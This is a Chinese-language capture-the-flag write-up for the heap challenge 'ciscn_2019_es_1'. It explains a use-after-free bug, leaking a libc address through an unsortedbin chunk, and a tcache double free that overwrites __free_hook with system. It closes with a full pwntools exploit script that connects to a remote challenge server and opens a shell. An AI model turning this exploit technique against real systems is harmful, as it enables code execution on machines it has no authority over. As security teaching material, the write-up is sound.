0%

ciscn_2019_es_1

[TOC]

==uaf==,==tcache的double free==

学习与收获

  1. 泄漏_libc_地址的一个方法:unsortedbin中的main_arena是一个_libc_地址,再利用uaf漏洞,可能可以泄漏_libc_地址。
  2. unsortedbin_chunk必须大于0x400

代码审计

程序实现了_add_,show,delete3个功能,有_uaf_漏洞。

call

1

_add_一次创建2个_chunk_,0x20_size_的_compary_chunk_,自定义_size_的_name_chunk_。0ffset_0x4080处存储着_compary_chunk_的地址,_compary_chunk_存储着_name_chunk_。

2

delete_一次,会_free_掉_name_chunk_,**而*name_chunk_并未置零**,因此对_name_chunk_有_uaf_漏洞。

3

思路

泄漏_libc_

如果我们释放一个_name_chunk_到_unsortedbin_中,那么该_unsortedbin_chunk_的_fd_和_bk_都是一个_libc_地址。又因为_uaf_漏洞,我们_show_的时候,依然会输出上面_name_chunk_的_user_data_,故会打印出_libc_地址。

add(0x410,b'a'*8,b'A')
add(0x20,b'b'*8,b'B')
add(0x20,b'c'*8,b'C')
add(0x20,b'/bin/sh\x00',b'D')
delete(0)
show(0)
p.recvuntil("name:\n")
libc_base = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))-0x3ebca0
log_addr("libc_base")

覆盖___free_hook_

有_uaf_漏洞,程序可以多次同一个_chunk_。2.27版本及以后的版本,_free_掉的_chunk_会被先放进_tcache_而非_fastbin_。_tcache_并无检查_double free_的机制,直接利用_double free_覆盖___free_hook_为_system_的地址即可。

delete(1)
delete(1)
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
add(0x20,p64(free_hook),b'A')
add(0x20,b'd'*8,b'A')
add(0x20,p64(system),b'A')

exp

from tools import *
context.log_level="debug"
# p,elf,libc = load("a")
p = remote("node5.buuoj.cn",25834)
debug(p,'pie',0x1668,0x1674,0x1680)
libc = ELF('./libc-2.27.so')

def add(size,name,compary):
p.sendlineafter("choice:",str(1))
p.sendlineafter("Please input the size of compary's name\n",str(size))
p.sendafter("please input name:\n",name)
p.sendafter("please input compary call:\n",compary)
def show(index):
p.sendlineafter("choice:",str(2))
p.sendlineafter("Please input the index:\n",str(index))
def delete(index):
p.sendlineafter("choice:",str(3))
p.sendlineafter("Please input the index:\n",str(index))

add(0x410,b'a'*8,b'A')
add(0x20,b'b'*8,b'B')
add(0x20,b'c'*8,b'C')
add(0x20,b'/bin/sh\x00',b'D')
delete(0)
show(0)
p.recvuntil("name:\n")
libc_base = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))-0x3ebca0
log_addr("libc_base")

delete(1)
delete(1)
free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
add(0x20,p64(free_hook),b'A')
add(0x20,b'd'*8,b'A')
add(0x20,p64(system),b'A')
delete(3)

p.interactive()